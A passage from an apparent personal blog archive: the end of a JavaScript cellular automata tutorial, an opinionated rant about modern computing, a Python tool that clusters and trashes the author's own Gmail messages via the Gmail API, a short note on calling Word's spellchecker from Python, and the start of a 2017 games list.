        if (wrapped_col > this.cols-1) wrapped_col = 0;
        if (wrapped_row > this.rows-1) wrapped_row = 0;
        n.live_neighbors += this.cells[wrapped_col][wrapped_row].state;
    }
    }
    return n;
}

We can then use this in our tick function as follows:

function tick() {
    grid.update(function(neighborhood) {
        if (neighborhood.me.state) {
            // Any live cell with fewer than two live neighbours dies
            if (neighborhood.live_neighbors < 2)
                neighborhood.me.next_state = 0;
            // Any live cell with two or three live neighbours lives on
            if (neighborhood.live_neighbors == 2 || neighborhood.live_neighbors == 3)
                neighborhood.me.next_state = 1;
            // Any live cell with more than three live neighbours dies
            if (neighborhood.live_neighbors > 3)
                neighborhood.me.next_state = 0;
        } else {
            // Any dead cell with exactly three live neighbours becomes a live cell
            if (neighborhood.live_neighbors === 3)
                neighborhood.me.next_state = 1;
        }    
    });
    grid.finish();
}

Which gives us the following result (try scribbling over the grid):

A more complicated example

Let’s try implementing a more involved cellular automaton, we’re going to implement Wireworld, a cellular automaton first proposed by Brian Silverman in 1987 and particularly suited to simulating electronic logic elements, or “gates”. Wireworld is Turing-complete, even, meaning that you could simulate a full computer system with it.

We need to make the following changes. Cells can now have four distinct states:

Empty
Electron head (drawn in blue)
Electron tail (drawn in red)
Conductor, a wire (drawn in yellow)

The rule set is as follows:

Empty cells stay empty
Electron heads become electron tails
Electron tails become conductors
Conductor become an electron head if exactly one or two of the neighbouring cells are electron heads, otherwise remains conductor

The neighborhood again includes diagonal cells, but we’re not going to wrap around the grid. The implemented example looks as follows (press p to pause the simulation so you can draw freely — you might need to click in the iframe first to give it focus):

Finishing up

Cellular automata are very versatile indeed. As a final example, let us consider Langton’s Ant. This can be modelled as a discrete agent walking over a grid, but as the Wikipedia page mentions, it’s possible to formulate the behavior by means of a cellular automaton as well. Our state now encodes:

Whether a cell is white or black
Whether a cell contains an ant or not. If it contains an an, the numbers 1 to 4 indicate the direction of the ant

The rule set is as follows:

The next cell’s color is equal to the current one, except if the ant is here, in which case we flip the color
If the ant is on a cell, first figure out the new direction of the ant
If the current cell’s color is black, turn 90 degrees left
If it’s white, turn 90 degrees right
The ant is removed from the next cell
The ant is place on the next cell matching the new direction of the ant

In fact, we don’t even have to define a neighborhood here, except for knowing to which new cell to move our ant. This simple rule set leads to a beautiful pattern over time (this cellular automaton runs on its own, no way to scribble over it here):

That’s enough for the first part in this series. In the next part, we’ll use the building blocks we’ve constructed and explored so far, and start taking a look at using cellular automata to simulate water, sand, lava, and so on, as is done in several games.

And Now, Time for a Rant

2017-11-08T08:18:00+01:00

I’ve been interested in computing since I was a kid. The ability to tinker with the internals of a machine, the brutalism of DOS, Windows 3.1 and Windows 95’s interfaces (those big grey buttons)… It was a great time for young persons to get started with IT, programming, and anything computer science. A great time to actually create something using a completely new medium, a digital canvas.

Today, a lot of things have changed. Many for the better, as you could argue, but it seems to me that computing today is “just not the same” anymore. The web has come around. Everything has to be touch and haptic, 500ms animations all over the place, hiding away the complexities behind, but also the potential for discovery, learning, and true creativity.

Over the past week or so, I’ve been jotting down a list of small annoyances. Not one of these is really a deal breaker on its own, but put together, it is clear — at least from my perspective — that a lot of things have changed. And I’m not the only one that thinks so (more on that later).

On Windows and Interfaces

I come home from a two week trip to find that my old Windows 10 laptop which is being used as a media centre machine has tripped all over itself. “Critical process died,” or something like that. Sure, “blue screens” on Windows 10 are not blue anymore and now show smileys and pretty QR codes you can scan to be redirected to a Google search with the first page being a ten minute long Youtube video with 8 minutes of intro song and fumbling around with Notepad’s font settings before presenting the quote-unquote “solution” (hey did you try running this Adware infested “cleaner”?). The strange thing is that this seems to happen more often when you keep machines unattended for a while.
Windows 10 comes with an amazing update cycle and an approach to quality control best described as “let’s all be beta testers”. As of now, I have two laptops whose Wifi connection starts crapping out after a reasonable amount of uptime. A third laptop Wifi just softlocks after a while, and will even prevent the machine from restarting normally.
That last machine still hasn’t received its “creators update,” by the way, presumably because it has some Bluetooth chip Microsoft just can’t figure out. Strange, as it has been working fine with the current — what is it, anniversary update? — builds. Did the folks in Redmond suddenly decide to completely overhaul the driver model in the creators update? It turns out that a manual initiate of the update doesn’t cause any issues, but doesn’t this defeat the purpose of automatic updates, then?
Speaking of updates, I’ve had it happen more than once that Windows decided to update in the middle of the night (fine) while I still have an unsaved document or presentation open (not fine), which it’ll then forcibly close to do its thing. Come on. Even if you agree with the aggressive update style (which I can understand from a certain perspective), at least cancel a restart and present the user with a warning message when they wake up. Word… PowerPoint, these are your products, Microsoft. Or at least force the documents to save somewhere, even when autosaving is turned of. How hard is it to fix this what I assume to be a very common annoyance?
Meanwhile, Windows tries to put more and more configuration settings in their new, “flat” interface, but no worries: with a few clicks more you can still get to good ole control panel. If you’re really lucky, you might encounter some icons that are still there from the 16 bit era. It’s like putting five layers of wallpaper in your living room followed by three coats of paint (not unlike my own living room), but every time you miss a spot. Sure, I get that backwards compatibility is a thing, though still…

Interfaces in general have become horrid. An interesting discussion on Twitter has lots of people talking about this (funny that a separate website is needed to kind-of properly render out a list of tweets in a somewhat readable format):

amber-screen library computer in 1998: type in two words and hit F3. search results appear instantly. now: type in two words, wait for an AJAX popup. get a throbber for five seconds. oops you pressed a key, your results are erased

A lot of this comes from web-design-creep, but a lot of other things are to blame as well. In a way, I miss ugly, brutalist but completely focused and clear interfaces like this:

Keyboard shortcuts only, true, though the focused field is clearly visible, with global menu items that clearly indicate where you’re going towards. Even Windows 3.1 was actually very powerful in this sense:

Buttons are buttons. Simple as that. Look at their crisp outline and how they pop off the screen. Everything about this screams “you can click me and I will do something”.

This went fine until Windows 98 came along, where you see the first evidence of the web’s tentacles getting inside the OS:

What is this? Why does there need to be a cloud in my explorer window? Just because we can? To show that we can render 256 colors now. Buttons have become larger, though for what? Meanwhile, Active Desktop was a thing for a while that polluted the desktop with Internet page widgets. Even Vista tried to do this again with gadgets or whatever it was called. So many distractions, so many design inconsistencies.

But at least, we lived in exciting new times then.

Today, we’re surrounded with boring, flat interfaces that sacrifice usability in order to looks a clean, neutral, and uninspired as possible, and where any piece of text on the screen can turn out to be a “link” that can be clicked. Good luck, dear user! In a way, Windows 3.1 manages to look quite pretty and clear in written text, as https://hackernoon.com/win3mu-part-1-why-im-writing-a-16-bit-windows-emulator-2eae946c935d, written by a chap who’s working on Windows 3.1, shows. I’d even tip my hat to Dropbox for going with some fresh design ideas instead of the bog standard translucency-animations-whitespace combo. Speaking of whitespace: try switching your Gmail display mode from “comfortable” to “condensed”. The first certainly does not make me “comfortable”.

It’s time that we start to rething interfaces. I find it strange to be looking at projects such as Lanterna or blessed-contrib and go “wow, that looks neat!” I’m not calling for a return to 80x25 CP427 or 3270, especially not after having worked with those in a mainframe environment, though there is a certain “once you get to know it, it actually works fantastic” vibe present in those, a sentiment which I’m sure is shared by e.g. vim users as well.

On Devices, Apple and Linux

I don’t want to single out Windows… Switch to the Apple ecosystem, you say? Overpriced boxes of underperforming hardware? Having to carry around six dongles is not “courage”. Neither is a touch bar, a unibrow, an exploding iPhone 8, an iOS 11 full of bugs (what is this, even), an App Store which can only be used after entering payment details, or not being able to install VPN apps whilst living in a nation which censors the Internet. (Edit: lest alone talking about the recent Unicode rendering bug.)
Not that Android is that much better, especially not every time I encounter an app that wants to make phone calls, send text messages, upload all of my data, access the mic and “draw over other apps.” All of this, just to check in for a flight?
By the way, go to the developer options in Android and disable all animations for a minute. See how that feels? Amazing. I didn’t know my phone was so fast. (As an even more drastic alternative, try switching to a monochrome color scheme during the day… it’s actually quite refreshing.)
Luckily there’s still Linux, our freedom-beacon in a sea of oppression, right? That is if you’re willing to put up with the hellspawn that is systemd.
Also: good luck using your Linux laptop to give a presentation at some corp where they’re using some FuYouDianNoa brand of projectors which only work in some kind of devil’s 888x666 resolution. At least Windows has this part figured out. On Linux, you can choose between two options. First, you can disable your laptop screen and awkwardly turn your head 180 degrees around like you’re doing an owl imitation to see what’s on the projected screen whilst pressing down the ALT key and trying to drag-and-drop all those Windows which are still stuck in “dark screen land”. Of course, once you close your laptop, disconnect the HDMI cable and scramble to run out, you’ll have to restart the machine nine out of ten times later on because you forgot to reset the screen settings and Linux has ignored the fact that you’re back in your hotel room with no projector attached anymore. The second option involves duplicates your screen, but since laptop makers — in their infinite wisdom — think that 3200xWhatever screens on 15” displays were a good idea and projector makers agree on a solid 4:3, good luck seeing the left and right sides of the screen on your laptop — or on the projector, depending on the moon’s phase. Sure, xrandr can be set up in such a way that you have the perfect setup, complete with scaling going on, just like Windows, but be prepared to arrive half an hour upfront and apologize a lot to the person responsible to make sure “the screen works” (“normally our speakers don’t have any problem connecting”). No one can be bothered to come up with a proper GUI for this stuff, most likely because making “mobile first desktop environments” is cooler.
And then there’s still PulseAudio, Wayland, Mir… all great technology, each with their own little traps to avoid. Meanwhile, it’s still trivial to write an X11 keylogger, copy-pasting still works in various, unexpected ways, and I’d never use Linux for a live audio show as you never know when the kernel decides that “sound is just not a priority for me right now, let’s start swapping”.
But at least your machine will be “free and open”, right? Sure, except for this black box of microprocessor code that’s running inside your modern CPU. Intel’s Management Engine is a great example. To quote the EFF: “Since 2008, most of Intel’s chipsets have contained a tiny homunculus computer called the Management Engine (ME). The ME is a largely undocumented master controller for your CPU: it works with system firmware during boot and has direct access to system memory, the screen, keyboard, and network.” I’m laughing my back off every time I hear a big corporation talk about the need to disallow non-vetted software, take away admin rights and to lock down machines as well as possible. If it makes you feel better, I guess. (Edit: so when I wrote this, this was mere months before Spectre and Meltdown… Jesus!)
No, to understand all of this and to be fully secure, you need to have studied music.

I’m not done yet.

All these “smart” tablets, phones, fridges and whatnot need to update a bajillion apps if you don’t use them for a few weeks and start to slow down after every OS update. If you’re lucky, you might even have a device which “smartly” sends your whole contact book to some state actor or “revenue partner”. Wireshark your own network and see in real-time how your personal data gets sends out.
Luckily I’m virtually immune to the addicting lure of Facebook and friends, though I can’t help but feel bad about the effect they have on others. A “show of hands” of my 1st year students indicates that many consider themselves addicted to social media. Begging for likes on Instagram, taking selfies, and close-ups of food. Some of them even admit to sleeping with their phone under their pillow. Being connected 24/7 to the world might be a good thing, but having a normal conversation from time to time is nice as well. Isn’t it time we start teaching this to our next “digital generation?”

On Gaming

So you might wish to unwind with a game to forget all of the above. I’m asked to try the “Xbox Insider Hub” to beta test some game which crashes with some sort of “bad HTTP request” message. Perfect.
As if we didn’t have enough “stores” already. Windows Store, Steam, GOG Galaxy, UPlay, Origin, Rockstar Social Club. Sure, I have enough CPU cycles to burn. Never before has my scrollbar in my task manager process list been so long. What is all of this stuff doing?
The same goes for “sync” apps, by the way. Dropbox, OneDrive, Google Drive is Now Called Backup and Sync from Google but-still-ignores-syncing-some-random-files (a bug I can’t for the life of me not figure out how this is not a top priority to fix).
If you do finally manage to get into a game, be prepared to cough up money for microtransactions, “cosmetic unlockables”, “loot boxes”, (edit: and now: “live services”) and all those other gamblind-inspired horrids that have come straight from the seventh hell that is mobile gaming to infest the rest of the gaming world. It’s a good sign that game companies are hiring such great persona’s as “behavioral economists” and “value-adding psychologists”, for sure. Just another five bucks here, another stolen credit card from mommy and daddy there… The wheel of fortune spins on. Will I reach this great new weapon? Ah no damn it, just passed it and ended up with another “Boring Regular Glock 201”. Well, I almost had it, right? No, you’re being played. Maybe spend another diamond to finish this building in five seconds instead of the normal two days waiting time for that game you’re playing on your phone?

On Programming

But at least programming is still a blast?

Sure, compared to earlier times, we now live in a time where you can choose between three hundred different JavaScript frameworks, preferably one encumbered by patents, to ship apps with a whole web browser (preferably an outdated one to maximize the security risk) included just so your 100MB app can show an ugly drop down list which looks even more out of place than the rest of your OS’ widgets. Time for another redesign, I guess, perhaps now using Material Design?
But no worries, we’ll just wrap it into a Docker container or this other new fancy “IOT-ready virtualization solution we’ve just found”, which totes takes care of all problems for us automagically. Did you also know this makes us 100% reproducable. Because all Dockerfiles containing an apt-get-from-some-repo-which-might-be-up-or-not is totally reproducible, our devops team said so.
In the same vein, you can use the same “modern stack” to write reactive apps where we can pretend HTTP never happened and the best way to deal with the DOM is to re-engineer everything from the Windows 3.1 times, just so this animation can run at a “native 60 FPS”.
Good luck setting all of this up on some VPS box these days. Dear God, the number of hoops you need to jump through just to get an e-mail server running! What the hell is SPF and DKIM keys? Why is Gmail ignored mails from my domain. Oh I get it, I should just cough up the five bucks per month to get Google Apps for Work set up.
At least we don’t need to learn SQL any more and can just dump our unstructured data vomit into a NoSQL data lake with a Hadoop Hive Impala stack on top which is totally web scale and will allow us to do analytics (read: putting pie charts in reports) even more wrong even faster. Forget about SQL engines and just dump everything into some webscale-ready JSON store because our 10GB worth of data is now “big”. Oh, what’s that, people are coming back from that? What’d ya know?
Luckily, at least our kids have access to great and powerful devices now, giving everyone the opportunity to get started with programming — oh wait. Take the iPad, a great content consumption machine with absolutely no quick way to program anything yourself. Yes, “10 PRINT “HELLO” 20 GOTO 10” was not the best way to teach fundamentals, but at least it was literally one key stroke away and got people interested.

On AI

Oh, and speaking of data vomit.

Everyone has gone AI crazy. Again. This is my field of research so I’m probably part of the problem. Hadoop all the things, Spark everything, put an extra Kafka there. That’s so 2015, didn’t you realize. Now we need that deep learning and them chatbots for those quick wins and new revenue streams. Does IBM Watson have those yet? Turns out that 90% of all chatbot solutions are just regex, preferably with a diagram drawing GUI so you can hire three new people as “chatbot modelers”, but good luck explaining that to your exec or “chief technology officer”. If you’re lucky you might find some knowledge systems related stuff with forward inference. Perhaps even some Prolog running inside. The 80’s called.
Sure, some things are impressive: Tensorflow, PyTorch, all that deep learning. I’m still waiting for a self driving car to explain post-crash why it made a mistake. But who needs explanations when faced with an all-knowning algorithm? And let’s not even go into detail regarding all the issues around bias we’re feeding into our black box predictive models. It’s self learning, didn’t you know? We removed nasty features like gender and sexual orientation and race, so we’re totally compliant. Right, until your fancy model figures out all those correlations that have been encrested in years of your data repositories to draw the same conclusions anyway. But as long as the predictions are correct, we don’t need to care about deeper societal issues, right?

Back to the Web

The web is dying as well. Does anyone remember websites words it perfectly:

Does anyone remember websites? These might be unfamiliar to anyone unexposed to the internet before 2005 or so, and may be all-but-forgotten for many others, obscured by the last 10 years of relentless internet development, but before mass social media platforms and amazing business opportunities on the internet, it was largely a collection of websites made by people who were interested in some subject enough to write about it and put it online. Does anyone remember when you stumbled on a new website written by some guy and read his first article, then clicked back to his homepage and saw he had a list of similar articles that looked like they’d be just as interesting.

That was great. The web was fun back then, a treasure trove of badly formatted but interesting or fun, plain pages. A lot of things I’ve used and am still using today in my research (from AI to evolutionary algorithms to cellular automata) I’ve learned from pages like this (still remember days reading http://www.ai-junkie.com/ann/som/som1.html when I was about 16 years old!).

Others have said this as well.

I’ve been watching some nostalgia tech channels on YouTube recently. Things like Lazy Game Reviews, DF Retro, and The 8-bit Guy. Seeing these machines of old not only reminds us (or me, at least) of how far we’ve come, but mainly how simple, honest, “straight-to-the-metal” these things were.

I kind of miss that feeling.

What has happened with “computing” as of today? Perhaps — most likely — all of this is due to me getting older, more busier, less easily impressed, or simply a case of nostalgia goggles firmly stuck on my face, but I can’t shake the feeling that computing today has lost a lot of its appeal, its “magic”, if you will, compared to the days of old.

Today, we have an unfinished OS running on twenty devices, DRM schemes crippling our computing freedom, interfaces that are confusing and buggy, a web controlled by a few companies which are corrupt and manipulative, and full of Russian ads and propaganda spreaders and youth that is addicted to social media.

I used to laugh (silently) at “dinosaurs” I’d meet telling me about how all of this new stuff already existed in the eighties. I still laugh (silently), as I can still gleem in the fact that I at least try to keep up to date with all these new developments whereas they have given up and perhaps just want to emphasize their relevancy, but I’m feeling increasingly more sour as I start to wonder towards where, exactly, we’re trying to “evolve” to.

Cleaning Up a Gmail Inbox

2017-08-14T22:12:00+02:00

Update: code is available at https://github.com/Macuyiko/gmail-cleaner.

I’ve been getting increasingly frustrated by my overflowing Gmail inbox lately. I’ve been using Gmail as a primary e-mail service since 2005 and have collected tens of thousands emails over the years.

Lately, I’ve been finding it increasingly harder to quickly find an e-mail using Gmails otherwise solid search functionality. The problem is mostly due to me not using much labels on the one hand and archiving, rather than deleting junky e-mails on the other hand. The latter stems from Gmail’s “training”, inspiring users to archive e-mails rather than deleting them, since storage is never really an issue.

Indeed, it never is, but over the years, several parties collect your e-mail address to send you weekly digests, newsletters, “what’s new” overviews, and updates regarding your social networks you never really bother to visit anymore (LinkedIn, Facebook, Twitter, ResearchGate are all annoying offenders). It’s appealing to just straight up archive these, but since there’s always some overlap in content between what you’re actually trying to search for and what ends up in those e-mails (e.g. “data science collaboration project”), it can become annoying to quickly glance over e-mails and find what you’re looking for. Starring e-mails and filtering them further helps, of course, but I felt it was about time to do something about this pile of archived e-mails I’d never bother to look at again.

The issue, however, that “safely” cleaning up these e-mails is rather tricky. Just deleting all archived e-mails is out of the question… there might still be important or interesting mails there. Searching based on the “from” header and going from there is better, but Gmail forces to paginate over the list (showing hundred e-mails per page) and does not intelligently group e-mails to make ticking their checkboxes easy. To provide an example, I might wish to delete all those Amazon recommended products mails, but do not want to delete my latest shipping confirmations. Gmail’s interface can also feel sluggish at times when ticking of mails, deleting them, going back to the search field, ticking again, and so on. Finally, Gmail does not provide an easy way to show e-mails grouped by sender, to get an easy overview regarding the most frequent “spammers”.

Probably a solid desktop client (Outlook, even) provides better functionality to do this sort of thing, but I wanted to quicky punch together a Python driven app instead to help clean up my inbox.

First up was connecting with Gmail’s API to create a local database I could work with. You could use IMAP as well, though using Gmail’s incantation of IMAP is somewhat annoying, having to do the whole oauth2 dance, not really providing an easy way to access unique message ids, and trashing e-mails boils down to executing IMAP move commands. The API works much better.

from model import *
import httplib2
import os
from apiclient import discovery
from oauth2client import client
from oauth2client import tools
from oauth2client.file import Storage
from tqdm import tqdm
from joblib import Parallel, delayed
from collections import defaultdict
import multiprocessing

# We need to modify scope here to trash e-mails later on
SCOPES = 'https://www.googleapis.com/auth/gmail.modify'
CLIENT_SECRET_FILE = 'client_secret.json'
APPLICATION_NAME = 'Gmail API Python Quickstart'
DATABASE = EmailDB(db_path)

def ParallelExecutor(use_bar='tqdm', **joblib_args):
    def aprun(bar=use_bar, **tq_args):
        bar_func = lambda x: tqdm(x, **tq_args)
        def tmp(op_iter):
            return Parallel(**joblib_args)(bar_func(op_iter))
        return tmp
    return aprun

def get_credentials():
    home_dir = os.path.expanduser('~')
    credential_dir = os.path.join(home_dir, '.credentials')
    if not os.path.exists(credential_dir):
        os.makedirs(credential_dir)
    credential_path = os.path.join(credential_dir, 'gmail-python-quickstart.json')
    store = Storage(credential_path)
    credentials = store.get()
    if not credentials or credentials.invalid:
        flow = client.flow_from_clientsecrets(CLIENT_SECRET_FILE, SCOPES)
        flow.user_agent = APPLICATION_NAME
        credentials = tools.run_flow(flow, store, None)
        print('Storing credentials to ' + credential_path)
    return credentials

def get_service():
    credentials = get_credentials()
    http = credentials.authorize(httplib2.Http())
    service = discovery.build('gmail', 'v1', http=http)
    return service

def fill_db():
    service = get_service()
    token = None
    DATABASE.clear_emails()
    while True:
        results = service.users().messages().list(userId='me', pageToken=token).execute()
        messages = results.get('messages', [])
        DATABASE.insert_emails([(message['id'],) for message in messages])
        token = results.get('nextPageToken')
        if not token:
            break

def fetch_headers(id):
    service = get_service()
    get_header = lambda x, name: [y for y in x if y.get('name') == name][0]['value']
    result = service.users().messages().get(userId='me', id=id).execute()
    try:
        fromf   = get_header(result['payload']['headers'], 'From')
        subject = get_header(result['payload']['headers'], 'Subject')
        return (id, fromf, subject)
    except:
        return (id, None, None)

def update_headers(chunks):
    num_cores = 4
    aprun = ParallelExecutor(n_jobs=num_cores)
    results = aprun(bar='tqdm')(delayed(fetch_headers)(id) for id in chunks)
    for id, fromf, subject in tqdm(results):
        if subject is None or fromf is None:
            DATABASE.trash_email(id)
        else:
            DATABASE.update_email(id, fromf, subject)

def update_db():
    chunk_size = 300
    chunks = []
    for email in tqdm(DATABASE.select_updateable_emails()):
        chunks.append(email['id'])
        if len(chunks) >= chunk_size:
            update_headers(chunks)
            chunks = []
    update_headers(chunks)

if __name__ == '__main__':
    if not DATABASE.has_emails():
        print('Database is empty, performing first-time setup')
        fill_db()

    print('Updating messages')
    update_db()

I’m only fetching the unique id here, together with the from and subject headers. Quite annoyingly, even though the Gmail API provides batch calls to delete and modify a list of e-mails, it does not expose similar functionality to get a list of e-mails. Instead, service.users().messages().list(...) provides a paginated result list of e-mail ids and thread ids, without detailed information. Afterwards, you need to loop through all e-mail ids to service.users().messages().get(...) their details. I’m using joblib here to speed up this process:

A few hours later, the database is filled up and ready for use. A simple SQL statement can immediately provide a grouped overview of e-mails per sender:

SELECT header_from, count(*) AS "amount" FROM "email"
WHERE "trashed" = 0
GROUP BY "header_from"
ORDER BY "amount" DESC

Next up is making trying to group e-mails (for a particular sender) based on their subjects to make it easier to spot repeating e-mails. Doing so using a string identity based aggregation is easy, though the issue is that subjects will be slightly different over time for many senders, e.g. compary “your weekly digest for 11/2017” verus “your weekly digest for 12/2017” or “12 friends have liked your profile” versus “1 friend has liked your profile”.

It turns out that this problem is heavily related to the field of sequence alignment, a common task in bioinformatics were sequences are grouped based on regional similarity as well as visualized in such a manner that the similar fragments are easy to identify:

Several toolkits exist for sequence (or string) alignment. In Python, there’s swalign which implements a Smith-Waterman local aligner. BioPython also contains several ways for sequence alignment. There’s also alignment. There’s also MAFFT in case you want a fast non-Python implementation.

However, Python also comes with the difflib module, which implements Ratcliff and Obershelp’s “gestalt pattern matching” algorithm, used to provide diff’s between two inputs. It basically boils down to finding the smallest set of deletions and insertions to create one input from the other. Normally, diff tools work line-oriented, though difflib’s SequenceMatcher class can also work character-oriented:

>>> a = "You have a message from Name Lastname waiting for 3 days"
>>> b = "You have a message from Jon Snow waiting for 393 days"
>>> s = SequenceMatcher()
>>> s.set_seq1(a)
>>> s.set_seq2(b)

>>> s.ratio()
0.8256880733944955

>>> s.get_matching_blocks()
[Match(a=0, b=0, size=24), Match(a=28, b=27, size=1), Match(a=33, b=29, size=1), Match(a=37, b=32, size=14), Match(a=51, b=48, size=5), Match(a=56, b=53, size=0)]

This provides us with a “good enough” mechanism to find a distance (ratio) between to strings, as well as their matching pieces. The challenge is now to use this building block to group a list of subjects together.

Whenever you’re faced with a clustering task such as this, and you have a method to establish a “distance” between to elements, it turns out to be easy to turn this into a complete clustering solution. One way to do so is by implementing Agglomerative Hierarchical Clustering. This algorithm works in a series of steps where in every step a new level in the “hierarchy” is constructed.

At the “first, lowest” level, every element forms a cluster on its own
Find two clusters A and B with the best linkage criterion
Merge these two together and add to the next level
All other clusters remain as is and are added to the next level
Repeat until every element is in one single cluster (or until the best linkage value drops below a threshold and you’ve reached the desired number of clusters)

For the first iteration, finding the best linkage criterion is easy. We can just use the .ratio() method from SequenceMatcher between two clusters A and B since they both contain one sequence each. How do we apply the same mechanism once clusters start to contain more than one sequence?

A first approach was to use a centroid based criterion. This requires us to define a “centroid” between sequences with their distance then simply being the distance between the centroids. In this case, we can just use a very naive approach where .get_matching_blocks() is used to keep the similar pieces of two strings, and replace the non matching parts with a replacement character, like so:

def combine_strings(blocks, a, b, char='-', min_thres=3):
    combined = ''
    last_a, last_b = 0, 0
    for block in blocks:
        # Add maximum suffix
        combined += char * max(block.a - last_a, block.b - last_b)
        last_a = block.a + block.size
        last_b = block.b + block.size
        piece_to_add = a[block.a:block.a+block.size] # Guaranteed to be == b[j:j+n]
        combined += piece_to_add if len(piece_to_add) > min_thres else char * len(piece_to_add)
    combined += char * (len(combined) - max(len(a), len(b)))
    return combined

>>> combine_strings(s.get_matching_blocks(), a, b)
You have a message from ------------- waiting for 3-- days--

The latter is a good aggregated representation of our two subjects and can be easily represented to the user.

The full Agglomerative Hierarchical Clustering setup then looks like this:

def find_best_match(clusters, ratio_threshold):
    s = SequenceMatcher()
    best_abval = (None, None, 0, None)
    # Find best match using centroid method
    for i in range(len(clusters) - 1):
        for j in range(i + 1, len(clusters)):
            s.set_seq1(clusters[i].centroid)
            s.set_seq2(clusters[j].centroid)
            r = s.ratio()
            if r > best_abval[2] and r >= ratio_threshold:
                best_abval = (i, j, r, s.get_matching_blocks())
    return best_abval


def cluster_strings(strings, ratio_threshold=0.6, combiner=combine_strings, matcher=find_best_match):
    Cluster = namedtuple('Cluster', 'centroid members parents')
    dendrogram = [
        # First level of clusters:
        [Cluster(centroid=x, members=[x], parents=None) for x in strings]
    ]
    while len(dendrogram[-1]) > 1:
        best_abval = matcher(dendrogram[-1], ratio_threshold)
        if best_abval[3] is None:
            # Threshold could not be adhered to, stop clustering here
            break
        new_level = []
        for i in range(len(dendrogram[-1])):
            if i == best_abval[0] or i == best_abval[1]:
                continue
            m = dendrogram[-1][i]
            new_level.append(Cluster(centroid=m.centroid, members=m.members, parents=(i,)))
        first_centroid = dendrogram[-1][best_abval[0]].centroid
        second_centroid = dendrogram[-1][best_abval[1]].centroid
        merged_centroid = combiner(best_abval[3], first_centroid, second_centroid)
        new_level.append(Cluster(centroid=merged_centroid,
            members=dendrogram[-1][best_abval[0]].members + dendrogram[-1][best_abval[1]].members,
            parents=(best_abval[0], best_abval[1])))
        dendrogram.append(new_level)
    return dendrogram

And then:

>>> strings = ["You have a message from Name Lastname waiting for 3 days",
           "You have a message from Jon Snow waiting for 393 days",
           "You have a message from Bob Bobbert waiting for 4 days",
           "You have a message from Marc Marcussen waiting for 1 day",
           "Jon Snow liked a photo of you",
           "Laurence Marcus liked a photo of you",
           "Aurelie liked a photo of you",
           "Jon Snow is waiting for your reply"]


>>> cluster_tree = cluster_strings(strings)
>>> for cluster in cluster_tree[-1]: print(cluster.centroid)
Jon Snow is waiting for your reply
You have a message from ---------------------- waiting for --- day--------------
--------------- liked a photo of you

Looks good. One issue is, however, that SequenceMatcher is quite slow. The two nested for loops in cluster_strings also don’t help here. What if we could calculate the ratios between all pairs of subjects just once, and go from there? I.e. we’re going to change the linkage criterion to a single (or minumum) one, so that the distance between clusters A and B is now min(d(a,b) where a is in A and b is in B).

We’ll also refactor the code to do away with keeping track of the different levels in the hierarchy, since we only want the final outcome anyway:

from difflib import SequenceMatcher
from functools import lru_cache

def combine_strings(a, b, char='-', min_thres=3):
    s = SequenceMatcher()
    s.set_seq1(a)
    s.set_seq2(b)
    blocks = s.get_matching_blocks()
    combined = ''
    last_a, last_b = 0, 0
    for block in blocks:
        combined += char * max(block.a - last_a, block.b - last_b)
        last_a = block.a + block.size
        last_b = block.b + block.size
        piece_to_add = a[block.a:block.a+block.size]
        combined += piece_to_add if len(piece_to_add) > min_thres else char * len(piece_to_add)
    combined += char * (len(combined) - max(len(a), len(b)))
    return combined

def combine_clusters(clusters):
    representations = []
    for cluster in clusters:
        representation = cluster
        while len(representation) > 1:
            a = representation.pop()
            b = representation.pop()
            representation.append(combine_strings(a, b))
        representations.append(representation[0])
    return representations

@lru_cache(maxsize=1024)
def get_ratio(a, b):
    s = SequenceMatcher()
    s.set_seq1(a)
    s.set_seq2(b)
    return s.ratio()

def find_best_match(clusters, ratio_threshold):
    s = SequenceMatcher()
    best_abval = (None, None, 0)
    for i in range(len(clusters) - 1):
        for j in range(i + 1, len(clusters)):
            r = min([get_ratio(a, b) for a in clusters[i] for b in clusters[j]])
            if r > best_abval[2] and r >= ratio_threshold:
                best_abval = (i, j, r)
    return best_abval

def cluster_strings(strings, ratio_threshold=0.6, combiner=combine_clusters, matcher=find_best_match):
    clusters = [[x] for x in strings]
    while len(clusters) > 1:
        best_abval = matcher(clusters, ratio_threshold)
        if best_abval[0] is None:
            break
        new_level = []
        for i in range(len(clusters)):
            if i == best_abval[0] or i == best_abval[1]:
                continue
            new_level.append(clusters[i])
        new_level.append(clusters[best_abval[0]] + clusters[best_abval[1]])
        clusters = new_level
    return combiner(clusters), clusters

Note that we still combine the clusters together to get a final representation. We’re also using lru_cache here to solve the pairwise ratio computation issue without adding in additional code.

Now what remained is to hook this up to a simple Flask application. Note that trashing e-mails using Gmails API can be done in batch using:

service.users().messages().batchModify(userId='me', body={
        'removeLabelIds': [],
        'addLabelIds': ['TRASH'],
        'ids': email_ids
    }).execute()

This is how the result looks like:

E-mails that are trashed will get a flag in the local database in order to prevent them showing up in the overall list.

Using this overview, I was able to delete about twenty thousand e-mails in half an hour or so.

Word Spellchecking in Python

2017-01-10T08:36:00+01:00

In case you’d ever want to integrate Word’s spell checking capabilities on top of your Python app, here’s how you would do so:

The only requirement is having Word installed (with the language packs installed for the languages you want to check), as well as the Python Windows extensions, which can be installed through pip, luckily. Flask is just being used here as an example how you’d wrap this up in an API.

Here’s an example of how it works:

>>> from workspellcheckerapi import get_corrections
>>> get_corrections("Let's see if it catchez the spell errrors in this text. Their is also the option to do grammer checking.")

{
    'text': "Let's see if it catchez the spell errrors in this text. Their is also the option to do grammer checking.",

    'grammarcount': 1,
    'grammar': [{'end': 104, 'text': 'Their is also the option to do grammer checking.', 'start': 56, 'suggestions': ['There']}],

    'spellingcount': 4,
    'spelling': [{'end': 23, 'text': 'catchez', 'start': 16, 'suggestions': ['catches', 'catcher', "catches'"]}, {'end': 41, 'text': 'errrors', 'start': 34, 'suggestions': ['errors', "error's", "errors'"]}, {'end': 61, 'text': 'Their', 'start': 56, 'suggestions': ['There']}, {'end': 94, 'text': 'grammer', 'start': 87, 'suggestions': ['grammar', 'grimmer', 'grammars', 'gramper', 'rammer']}]
}

Before you go off implementing this on top of your web stack, keep in mind that you’re probably breaking all of Microsoft’s end user agreements. Bing’s spell checker API would be the official route, and allows for some free calls as well.

Some Games to Look Forward to in 2017

2017-01-09T19:10:00+01:00

2016 turned out to be a great year for gaming, with Dishonored 2, The Witness, Doom, Overwatch, Superhot, Thumper, Hyper Light Drifter, Cogmind, Devil Daggers, Furi, Brigador, Age of Empires 2 HD keeping me entertained throughout most of the year.

Which games am I looking forward to in 2017? Below follows my personal list.

